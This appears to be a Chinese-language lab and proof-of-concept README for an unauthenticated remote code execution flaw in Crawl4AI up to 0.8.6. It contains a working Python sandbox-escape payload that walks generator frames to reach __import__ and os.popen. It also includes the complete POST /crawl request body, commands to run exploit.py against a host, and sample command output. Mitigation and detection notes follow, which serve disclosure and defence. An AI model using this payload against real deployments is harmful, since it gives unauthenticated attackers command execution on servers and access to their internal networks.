CVE-2026-53753 — Crawl4AI <0.8.7 未经身份验证的RCE(通过gi_frame.f_back的AST沙箱逃逸)。实验室+PoC,已验证端到端。
预认证RCE在Crawl4AI
< 0.8.7。一个精心构造的JsonCssExtractionStrategyschema发送到未认证的POST /crawl端点,到达计算字段评估器(_safe_eval_expression),通过Python帧对象逃逸其AST允许列表,到达真正的builtins,并运行__import__('os').popen(<cmd>).read()——在JSON响应中带内返回命令输出。
| CVE | CVE-2026-53753 |
| 公告 | GHSA-qxjp-w3pj-48m7 |
| 受影响版本 | Crawl4AI <= 0.8.6 |
| 修复版本 | 0.8.7 |
| 漏洞类型 | CWE-94(代码注入)/ Python沙箱逃逸 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 无 — 默认配置中 jwt_enabled: false |
| 状态 | 已确认 — 在官方 unclecode/crawl4ai:0.8.6 镜像上端到端复现 |
深度分析:参见
ANALYSIS.md了解节点级AST遍历、运行时帧栈、请求数据流以及补丁差异。
crawl4ai/extraction_strategy.py 允许提取 schema 定义计算字段——每次提取项时评估的小型Python表达式。它们由 _safe_eval_expression() 运行,该函数尝试使用AST允许列表和精简的 __builtins__ 对表达式进行沙箱化:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# 阻止双下划线属性访问,例如 __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # 没有__import__, 没有eval, 没有open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
验证器是基于前缀的拒绝:它只拒绝以 _ 开头的名称(以及 import)。这个单一启发式规则就是整个沙箱——但它有三个漏洞,组合起来形成完全逃逸:
该 schema 到达此函数时无需认证:Docker API 默认配置 security.jwt_enabled: false,因此 /crawl 的令牌依赖是 lambda: None。
计算字段表达式为:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
逐部分解读:
由于生成器的值是 os.popen(cmd).read(),命令的stdout成为字段值并反射回 /crawl 响应中——一个带内oracle,无需OAST。
当 list(g) 迭代生成器时,调用栈如下所示:
帧: _safe_eval_expression() <-- 真正builtins (__import__ 在此) ← f_back ×3
└ 帧: <expression> (eval) <-- 沙箱化builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ 帧: <lambda> <-- 沙箱化 ← f_back ×1
└ 帧: <genexpr> g <-- 运行中;g.gi_frame 是这个帧 ← gi_frame
g.gi_frame.f_back 仅在生成器运行时才被填充(这就是为什么生成器必须引用自身并由 list(g) 驱动——尚未启动的生成器 f_back is None)。向上遍历 f_back 三次落在 _safe_eval_expression 帧上,其 f_builtins 是完整的builtins模块——通过下标从中取出 __import__。
帧深度对于此代码路径是稳定的:
f_back × 3对于 Crawl4AI 0.8.6 的_safe_eval_expression是正确的。
官方镜像附带易受攻击的默认配置(无认证):
# 选项 A — docker compose(常规Docker主机,桥接网络)
docker compose -f lab/docker-compose.yml up -d
# 选项 B — 纯docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
等待约20秒让浏览器池预热(docker logs crawl4ai-vuln → Application startup complete)。
# 检查请求体但不发送:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# 执行(命令stdout返回在响应中):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py 仅使用Python标准库——无需依赖。
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
out 字段是实时OS状态(id 输出、uname、容器的 os-release),不是请求的回应——uid=999(appuser) 是容器的服务账户,证明代码在Crawl4AI主机内部执行。唯一的 echo <marker> 会被原样反射,确认命令实际运行。
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<来自§2的载荷>"}]}}}}}}
raw://… 使请求自包含——无需出站抓取;攻击者内联提供HTML。baseSelector: "div" 只需要匹配一个元素,以便评估计算字段。对于真实爬取目标,使用任何匹配页面的选择器。任何网络可达的客户端在默认部署下无需认证即可在Crawl4AI主机上执行任意OS命令——完全危及服务器,并可进入其能访问的任何内部资源。
_safe_eval_expression;expression 计算字段键被禁用——改用 function 键并传入经过审查的Python可调用对象)。jwt_enabled: true + api_token),切勿将Crawl4AI API暴露给不受信任的网络。标记包含 gi_frame、f_back、f_builtins 或任何携带 expression 键的 computed 字段的 POST /crawl(及 /crawl/stream)请求体。
| # | 漏洞 | 为什么重要 |
|---|
| 1 | gi_frame, f_back, f_builtins 不以 _ 开头 | 整个Python帧/生成器内省表面可达。 |
| 2 | obj['__import__'] 是一个 ast.Subscript,不是 ast.Attribute | 验证器从不检查字典下标键,因此双重下划线键 __import__ 通过。 |
| 3 | 一个正在运行的生成器的 f_back 链导致一个外部帧,其 f_builtins 是真正的builtins | 逃逸出精简的 _SAFE_EVAL_BUILTINS 回到完整的builtins(包括 __import__ 等)。 |
| 片段 | 作用 | 为何验证器允许 |
|---|
(lambda: ... )() | 创建一个函数作用域,使得walrus绑定的名称存在于闭包单元中。 | ast.Lambda 不被检查。 |
g := ( <expr> for i in [1]) | 将生成器绑定到 g 并且生成器体引用 g(自身)。 | := 和生成器表达式不被检查。(Walrus在推导式可迭代对象中非法,因此放在元组元素中代替。) |
list(g) | 驱动生成器——因此在体运行时其帧是活跃的。 | list 在安全builtins中。 |
g.gi_frame | 生成器的帧对象。 | gi_frame 不以 _ 开头。 |
.f_back.f_back.f_back | 向上遍历三个帧,到达具有真正builtins的帧。 | f_back 不以 _ 开头。 |
.f_builtins | 该帧的builtins映射(真正的那个)。 | f_builtins 不以 _ 开头。 |
['__import__'] | 从builtins字典中获取 __import__。 | 字典下标——从不检查。 |
('os') | __import__('os') → os 模块。 | 调用目标是 Subscript,不是 Name/Attribute。 |
.popen('id').read() | 运行命令并返回其stdout。 | popen/read 不以 _ 开头。 |
| 症状 | 原因/修复 |
|---|
:11235 上 Connection refused | 容器仍在预热,或您的Docker守护进程没有可用的 bridge 网络。等待 Application startup complete;如果端口映射不绑定,使用 --network host 运行容器。 |
out 是 null | 基础选择器未匹配任何元素——确保 raw:// HTML包含 <div>(或调整 baseSelector)。 |
| 在0.8.6上有效,但0.8.7无效 | 预期行为——0.8.7 移除了 _safe_eval_expression 并完全禁用了 expression 键(修复)。 |